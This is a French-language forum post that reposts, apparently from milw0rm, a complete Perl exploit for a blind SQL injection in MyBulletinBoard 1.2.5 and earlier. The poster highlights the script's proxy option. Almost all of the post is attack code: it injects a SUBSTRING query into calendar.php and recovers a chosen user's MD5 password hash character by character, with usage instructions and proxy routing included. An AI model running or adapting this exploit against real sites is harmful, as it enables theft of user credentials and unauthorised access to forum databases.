MyBulletinBoard <= 1.2.5 Remote SQL Injection Exploit

[Korigan]

Je post ce code car il prend en compte la possibilité d'utiliser un proxy...ce qui n'est pas courant ^^

[code:1:c601f9904b]

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
print " \n";
print " #############################################################\n";
print " # MyBulletinBoard <= 1.2.5 Remote SQL Injection Exploit #\n";
print " # Bug found and Exploit coded by 0x86 #\n";
print " # #\n";
print " # www.geeksec.net #\n";
print " # 0x86 [at] geeksec.net #\n";
print " # #\n";
print " # Usage: perl mybb.pl host path <options> #\n";
print " # Example: perl mybb.pl www.host.com /mybb/ -u 5 #\n";
print " # #\n";
print " # Options: #\n";
print " # -u User-ID, default: 1 #\n";
print " # -p Proxy support #\n";
print " #############################################################\n";
exit;
}

my $host = $ARGV[0];
my $path = $ARGV[1];
my $userid = 1;
my %options = ();
GetOptions(\%options, "u=i", "p=s");

print "[+] Exploiting...\n";

if($options{"u"})
{
$userid = $options{"u"};
}

syswrite(STDOUT, "[+] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
my $f = 0;
my $h = 48;
while(!$f && $h <= 57)
{
if(istrue2($host, $path, $userid, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
if(!$f)
{
$h = 97;
while(!$f && $h <= 122)
{
if(istrue2($host, $path, $userid, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
}
}

print "\n[+] Exploiting done\n";

sub istrue2
{
my $host = shift;
my $path = shift;
my $uid = shift;
my $i = shift;
my $h = shift;

my $ua = LWP::UserAgent->new;
my $query = "http://".$host.$path."calendar.php?action=dayview&year=2007&month=3&day=11111 11'%20OR%20SUBSTRING((SELECT%20password%20FROM%20mybb_users%20WHERE%20 uid=".$uid."),".$i.",1)=CHAR(".$h.")/*";

if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}

my $resp = $ua->get($query);
my $content = $resp->content;
my $regexp = "profile";

if($content =~ /$regexp/)
{
return 1;
}
else
{
return 0;
}

}

# milw0rm.com [2007-04-23]
[/code:1:c601f9904b]